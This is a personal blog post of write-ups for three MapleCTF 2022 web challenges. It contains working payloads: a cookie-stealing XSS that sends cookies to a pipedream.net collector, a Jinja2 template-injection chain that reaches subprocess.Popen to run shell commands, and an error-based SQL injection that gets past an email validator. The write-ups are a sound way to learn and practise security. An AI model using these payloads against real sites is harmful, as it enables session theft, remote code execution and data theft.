Hi, I'm Andre

GitHub Linkedin

MapleCTF 2022 Web Writeups

Aug 30, 2022


Credits to Maple Bacon for writing some great challenges and running an awesome CTF. All the web challenges provided source code which is referenced in the code blocks below.

honksay

Haha goose say funny thing

Author: Vie#1231

By looking through the source, the application is running Express and has the following endpoints:

Let’s take a quick look at /:

// app.js
...
app.get('/', (req, res) => {
    if (req.cookies.honk){
        //construct object
        let finalhonk = {};
        if (typeof(req.cookies.honk) === 'object'){
            finalhonk = req.cookies.honk // no filter to send XSS
        } else {
            finalhonk = {
                message: clean(req.cookies.honk), // filter that seems to prevent XSS from package.json
                amountoftimeshonked: req.cookies.honkcount.toString()
            };
        }
        res.send(template(finalhonk.message, finalhonk.amountoftimeshonked));  // render it in HTML
    } else { // initialization if there's no cookie called `honk`
        const initialhonk = 'HONK';
        res.cookie('honk', initialhonk, {
            httpOnly: true
        });
        res.cookie('honkcount', 0, {
            httpOnly: true
        });
        res.redirect('/');
    }
});
...

If we have a valid req.cookie.honk that is typeof object (with strict equality), it seems we can control the template sent in order to bypass the clean XSS filter.

But our goal isn’t to steal our own cookie! We want the flag! Looking at goose.js, we can see the flag is in the cookie stored in the Puppeteer browser (Goose):

// goose.js
...
const FLAG = process.env.FLAG || "maple{fake}";

async function visit(url) {
  let browser, page;
  return new Promise(async (resolve, reject) => {
    try {
        browser = await puppeteer.launch({ // create browser
            ...
        });

        page = await browser.newPage(); // new page
        await page.setCookie({ // set cookie
            name: 'flag',
            value: FLAG,
            domain: 'localhost',
            samesite: 'none'
        });
        await page.goto(url, {waitUntil : 'networkidle2' }).catch(e => console.log(e)); // visits page with browser
        ...
    }
    ...
  }
}
...

So we can use XSS to somehow steal the Goose’s flag cookie. It seems we can do it by sending a POST request through the endpoint /report:

// app.js
...
app.post('/report', (req, res) => {
    const url = req.body.url;
    goose.visit(url);
    res.send('honk');
});
...

But in order to perform XSS, how do we set the Goose’s honk cookie? Looking at /changehonk:

// app.js
...
app.get('/changehonk', (req, res) => {
    res.cookie('honk', req.query.newhonk, { // sets honk to a query param
        httpOnly: true
    });
    res.cookie('honkcount', 0, {
        httpOnly: true
    });
    res.redirect('/');
});
...

Getting the Flag

From those pieces of code, we have the following steps:

  1. Report a /changehonk URL to the Goose to visit
  2. Include a newhonk query in the URL for the server to change the Goose’s honk cookie
  3. The Goose’s honk cookie should be a type object
  4. honk cookie renders as XSS and then we steal the flag cookie!

Using this basic payload that redirects an user to a different location while exfiltrating the cookie:

<script>
    document.location="https://en8pldcq5oe2x.x.pipedream.net/flag?cookie="%2bdocument.cookie;
</script>

Thinking how finalhonk should be and sending it directly to the parameter:

http://honksay.ctf.maplebacon.org/changehonk?newhonk={message: "",amountoftimeshonked: "<script>document.location="https://en8pldcq5oe2x.x.pipedream.net/flag?cookie="%2bdocument.cookie;</script>"};

Unfortunately sending in an entire object will be interpreted as a string, which doesn’t pass the typeof(req.cookies.honk) === 'object'.

In order for the server to interpret it as an object, a neat trick is to add brackets before the equals sign to create the following payload:

http://honksay.ctf.maplebacon.org/changehonk?newhonk[amountoftimeshonked]=<script type="text/javascript">document.location="https://en8pldcq5oe2x.x.pipedream.net/flag?cookie="%2bdocument.cookie;</script>

Flag: maple{g00segoHONK}

Pickle Factory

My cousin said he once got fired for putting his p\*ckle into the pickle slicer at his old workplace. Can you confirm that it's true for me?*

Note: flag lives on the local filesystem

Author: Disna#0532

Pickles! Given the note, it can be assumed that we need to obtain RCE or shell. The source code is a little hard to read so let’s play around with the application first.

The index page prompts with two inputs:

Through the imports in app.py, we can see the application is using Python pickles and Jinja2 as it’s templating engine.

Because Jinja2, a python templating engine is used, we can test using the following JSON for template injection:

{"test": "{{7*7}}"}

And viewing the “pickle”:

 b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04test\x94\x8c\x0749\x94s.'

Though it’s a little hard to read, we can see the string was executed as code and returned 49.

Getting the Flag

Knowing this, we can go further with Python. Some posts explaining how we can use Python builtins to eventually obtain shell can be found here:

These articles probably explain it better and more in detail but here’s my shortened version of the exploit:

Using builtin types such as strings and __mro__, __class__, and __subclasses__, you can traverse up and down object inheritance tree in Python. You can test parts of the exploit in Python to see how it works.

>>> "" # just a string, can be declared
# ''

Now we can obtain the class object of the string. This can be done with other builtins like lists or ints. In this case we will use a string.

>>> "".__class__
# <class 'str'>

Using the MRO function, we can list all the classes the string inherits. As shown below, the string is both a string and an object.

>>> "".__class__.__mro__ 
# (<class 'str'>, <class 'object'>)

Access just the object from the tuple.

>>> "".__class__.__mro__[1]
# <class 'object'>

Access classes that inherit object. Returns a huge list of all objects in the environment.

>>> "".__class__.__mro__[1].__subclasses__()
# [<class 'type'>, <class 'weakref'>,
# ...
# <class 'apport.packaging.PackageInfo'>, <class 'gettext.NullTranslations'>]

The object used for shell is in this case is subprocess.Popen. This is just one example, there are other ways of using builtins and importing os that work as well.

Looking through the list and finding the index of the object, we can call its normal functions and execute code.

>>> ''.__class__.__mro__[1].__subclasses__()[340]('whoami', shell=True, stdout=-1).communicate()[0].strip()
# root

We can use such a payload combined with the JSON to send our exploit. We can run some commands to look around the filesystem, and eventually find flag.log. This will then render on our page as the flag.

{
    "PAYLOAD": "{{''.__class__.__mro__[1].__subclasses__()[340]('cat flag.log', shell=True, stdout=-1).communicate()[0].strip()}}"
}

Flag: maple{he_was_fired_and_so_was_she}

Bookstore

Maple Stores 2 is out! Get it for me pwease

Author: Disna#0532

Let’s start by looking for the flag. It seems to be declared in in the Dockerfile then stored through init.sql.

# Dockerfile
...
ENV FLAG="maple{test_flag}"
RUN sed -i "s/FLAGE/$FLAG/g" /init.sql`
...
-- init.sql
...
INSERT INTO books(title, author, price, texts) VALUES('Maple 
Stories', 'Maple-Chan', 0, 'FLAGE');
...

So the flag is stored in the texts column of the table books. This leads the exploit to be something SQLi related.

Let’s look for where the application takes in user-input. Looking through the Express application, we find the following endpoints in index.js:

The validator used is from this package which is applying some string checks for emails, usernames and passwords.

We can find the corresponding SQL commands in db.js.

We’re not going to focus on all the application’s functionality, but look for queries that have user-controlled input (most likely where there’s SQLi):

// db.js
...
    getUser(username, password, callback) {
        const query = `
        SELECT * FROM users WHERE username = '${username}' AND password = '${password}';
        `;
        this.db.query(query, (err, user) => {
            callback(user);
        });
    }
...
   insertEmail(email, book_id) {
        const query = `INSERT INTO requests(email, book_id) VALUES('${email}', '${book_id}');`;
        return new Promise((resolve, reject) => {
            this.db.query(query, (error) => {
                if (error != null) {
                    reject(error);
                } else {
                    resolve(null);
                }
            })
        })
    }
...

It seems we are able to inject with the username, password, email, and book_id parameters. Some problems arise in validator.js:

// validator.js
...
function validateUsername(username) {
    return validator.isAlphanumeric(username, 'en-US') && username.length > 3 && username.length < 30
}

function validatePassword(password) {
    return validator.isAlphanumeric(password, 'en-US') && password.length > 6 && password.length < 30
}
...

A max length of 30 is quite restricting in order to exfiltrate data from a database. There’s an additional book_id restriction in index.js that raises an error before the input reaches the query. So our only point is through email.

Looking at the following query:

INSERT INTO requests(email, book_id) VALUES('${email}', '${book_id}');

Through some manual testing, the isEmail validator has some small regex requirements for the domain, a @ character, and a length restriction for the username.

Because requests is asking for two parameters, our email query must include an additional parameter to close the query with a valid integer.

Getting the Flag

Using some fancy quotation and SQL magic, I was able to create the payload that:

"',1 and substring((select texts from books where id=1),1,99));#@a.aa

The application returns:

Error: ER_TRUNCATED_WRONG_VALUE: Truncated incorrect DOUBLE value: 'maple{it_was_all_just_maple_leaf}'

The error occurs because of mismatched quotations, but the flag is still retrieved within the parenthesis. The error then graciously gives us the flag:

Flag: maple{it_was_all_just_maple_leaf}